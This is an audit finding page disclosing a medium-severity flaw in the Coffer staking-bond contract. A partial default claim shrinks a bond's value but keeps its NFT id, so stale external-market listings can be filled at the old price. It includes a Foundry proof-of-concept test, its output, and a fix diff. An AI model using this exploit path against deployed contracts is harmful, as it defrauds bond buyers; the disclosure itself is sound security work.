Pre-auditThree days of senior audit time for $1,500, credited in full toward your Zealynx audit.3 audit days, credited toward your auditSee how →
M-02·

A partial default claim leaves an external sale valid for the bond’s unreduced token id

Acknowledgedethereumstakingeth-bonds
TL;DR

While a default stands, holderRedeemBondInDefault pays the smaller of the Coffer balance and a bond's remaining maturity value.

Severity
MEDIUM
Method
MManual review
CAT.
02Section · Affected files

Affected files

03Section · Description

Description

While a default stands, holderRedeemBondInDefault pays the smaller of the Coffer balance and a bond's remaining maturity value. When the balance is smaller, the function reduces bondMaturityValue but leaves the same transferable ERC-721 token id alive. An existing external-venue order that binds only the token id and price therefore remains executable after the claim represented by that id has decreased. The Coffer marketplace avoids this because its signed order also binds the maturity value, but standard NFT transfers do not.

Vulnerable Scenario:

  1. A seller lists a defaulted bond with approximately 10.50 ETH remaining for 10.29 ETH while the Coffer holds 6 ETH.
  2. After the buyer quotes the live state, the seller claims the 6 ETH through that bond, either before the fill or from a contract-order callback during the fill.
  3. The venue transfers the unchanged token id and pays the seller even though the bond now carries only approximately 4.50 ETH.
  4. The buyer eventually collects the reduced claim and loses approximately 5.79 ETH. If the seller first tops the Coffer up to one wei below the remaining value, the claim returns the top-up and leaves a 1-wei bond.
04Section · Impact

Impact

An untrusted seller can irreversibly keep both the sale price and a pre-transfer partial claim, causing an external-venue buyer to lose up to nearly the entire purchase price.

05Section · PoC

PoC

Add the following test to test/unit/PartialClaimResale.t.sol. Run forge build once first (the BaseTest fixture loads the DepositContract mock from its build artifact), then forge test --match-path test/unit/PartialClaimResale.t.sol -vv:

solidity
// SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.34;
import {BaseTest} from "./BaseTest.sol";
import {Coffer} from "../../src/Coffer.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
/// Minimal fixed-price NFT venue: like any standard ERC-721 order, the order binds the token id and the price only.
contract FixedPriceVenue {
mapping(address nft => mapping(uint256 id => address seller)) public sellerOf;
mapping(address nft => mapping(uint256 id => uint256 price)) public priceOf;
function list(address nft, uint256 id, uint256 price) external {
sellerOf[nft][id] = msg.sender;
priceOf[nft][id] = price;
}
function buy(address nft, uint256 id) external payable {
address seller = sellerOf[nft][id];
require(msg.value == priceOf[nft][id], "price");
delete sellerOf[nft][id];
IERC721(nft).transferFrom(seller, msg.sender, id);
(bool ok,) = seller.call{value: msg.value}("");
require(ok);
}
}
contract PartialClaimResale is BaseTest {
FixedPriceVenue internal venue;
address internal seller = makeAddr("seller");
address internal buyer = makeAddr("buyer");
uint256 internal sellerBond;
uint256 internal otherBond;
uint256 internal constant TRANCHE = 6 ether;
uint256 internal constant SWEEP = 32 ether;
function setUp() public override {
super.setUp();
venue = new FixedPriceVenue();
vm.deal(seller, 100 ether);
vm.deal(buyer, 100 ether);
coffer = Coffer(payable(createDefaultCoffer()));
vm.prank(seller);
sellerBond = coffer.buyBond{value: 10 ether}(ONE_YEAR, 1);
vm.prank(holder2);
otherBond = coffer.buyBond{value: 5 ether}(ONE_MONTH, 1);
advanceTime(ONE_MONTH + 1);
coffer.declareDefault(otherBond);
vm.deal(address(coffer), TRANCHE);
}
function _remaining(uint256 id) internal view returns (uint256 v) {
(v,,) = coffer.sHolderConditions(id);
}
function _listAndQuote() internal returns (uint256 price, uint256 remaining) {
remaining = _remaining(sellerBond);
assertGt(TRANCHE + SWEEP, remaining + _remaining(otherBond), "Coffer is covered");
price = remaining * 98 / 100;
vm.startPrank(seller);
bondNft.setApprovalForAll(address(venue), true);
venue.list(address(bondNft), sellerBond, price);
vm.stopPrank();
}
function _buyerCollectsEverything() internal {
if (address(coffer).balance > 0) {
vm.prank(buyer);
coffer.holderRedeemBondInDefault(sellerBond);
}
vm.deal(address(coffer), address(coffer).balance + SWEEP);
vm.prank(buyer);
coffer.holderRedeemBondInDefault(sellerBond);
}
function test_control_honestSale_buyerGetsTheQuotedValue() public {
(uint256 price, uint256 remaining) = _listAndQuote();
uint256 b0 = buyer.balance;
vm.prank(buyer);
venue.buy{value: price}(address(bondNft), sellerBond);
_buyerCollectsEverything();
assertEq(buyer.balance + price - b0, remaining, "buyer receives the full remaining value");
}
function test_sellerClaimsBeforeTheFill_buyerPaysForValueAlreadyTaken() public {
(uint256 price, uint256 remaining) = _listAndQuote();
uint256 b0 = buyer.balance;
uint256 s0 = seller.balance;
vm.prank(seller);
coffer.holderRedeemBondInDefault(sellerBond);
assertEq(_remaining(sellerBond), remaining - TRANCHE, "same token id, smaller claim");
vm.prank(buyer);
venue.buy{value: price}(address(bondNft), sellerBond);
_buyerCollectsEverything();
assertEq(seller.balance - s0, price + TRANCHE, "seller keeps the price and the claimed tranche");
assertEq(buyer.balance + price - b0, remaining - TRANCHE, "buyer receives the remaining value minus the tranche");
emit log_named_decimal_int("buyer PnL", int256(buyer.balance) - int256(b0), 18);
}
}

Observed output:

code
[PASS] test_control_honestSale_buyerGetsTheQuotedValue()
[PASS] test_sellerClaimsBeforeTheFill_buyerPaysForValueAlreadyTaken()
buyer PnL: -5.790100000000000000
06Section · Recommendations

Recommendations

Retire the old token id on every partial claim and mint the remainder under a new id. Extend BondRedeemedPartially with that new id so holders and indexers can follow the claim:

diff
@@ -153,12 +153,14 @@ contract Coffer is Ownable2Step, Multicall, Initializable {
/* solhint-disable gas-indexed-events */
/// @notice Emitted when a holder redeems a bond partially - only ever fires while the validator is defaulted
/// @param holderAddress The address of the bond holder
- /// @param bondId The ID of the bond NFT
+ /// @param oldBondId The ID of the bond NFT that was partially redeemed and burned
+ /// @param newBondId The ID of the bond NFT minted for the remaining value
/// @param valueWithdrawn The amount withdrawn
/// @param remainingBondMaturityValue The remaining bond maturity value
event BondRedeemedPartially(
address indexed holderAddress,
- uint256 indexed bondId,
+ uint256 indexed oldBondId,
+ uint256 indexed newBondId,
uint128 valueWithdrawn,
uint128 remainingBondMaturityValue
);
@@ -683,12 +685,14 @@ contract Coffer is Ownable2Step, Multicall, Initializable {
// forge-lint: disable-next-line(unsafe-typecast) balance < remaining (uint128), so it fits
uint128 pay = uint128(balance);
- holder.bondMaturityValue -= pay;
-
- emit BondRedeemedPartially(msg.sender, _bondId, pay, holder.bondMaturityValue);
-
- ICofferBondNft(iCofferBondNftAddress()).emitMetadataUpdate(_bondId);
-
+ HolderConditions memory rest =
+ HolderConditions(holder.bondMaturityValue - pay, holder.duration, holder.startTimestamp);
+ delete sHolderConditions[_bondId];
+ ICofferBondNft nft = ICofferBondNft(iCofferBondNftAddress());
+ nft.burnCofferBond(_bondId);
+ uint256 newId = nft.mintCofferBond(msg.sender);
+ sHolderConditions[newId] = rest;
+ emit BondRedeemedPartially(msg.sender, _bondId, newId, pay, rest.bondMaturityValue);
Address.sendValue(payable(msg.sender), pay);
} else {
// Full settlement: the balance covers the bond's remaining value

If declareDefault is changed to reserve a covered bond's maturity value instead of reverting, release the old id's reservation in this branch before minting the new id: any path that deletes or re-keys a bond record must release that bond's reservation. This invalidates every outstanding ERC-721 order for the old id. The tradeoff is an additional burn and mint per partial claim plus token-id changes for wallets and indexers. If stable ids are required, prevent transfers while defaulted or adopt an order mechanism that enforces the current remaining value; an ERC-7496 trait protects buyers only where the venue binds it.

07Section · Mitigation

Mitigation

Acknowledged. Commit a055d1e, the holder documentation and the risk guide now explain that a partial default claim reduces the remaining value without changing the ERC-721 token ID. Integrations are instructed to validate remaining value in the same transaction that transfers the bond. The deployed token behavior is unchanged, so stale listings on external venues remain an accepted integration risk.

08Section · Report provenance

Report provenance

Source: the corrected final report dated 22 October 2026. Final status and residual conditions are preserved in this write-up. Read the full report.

M-02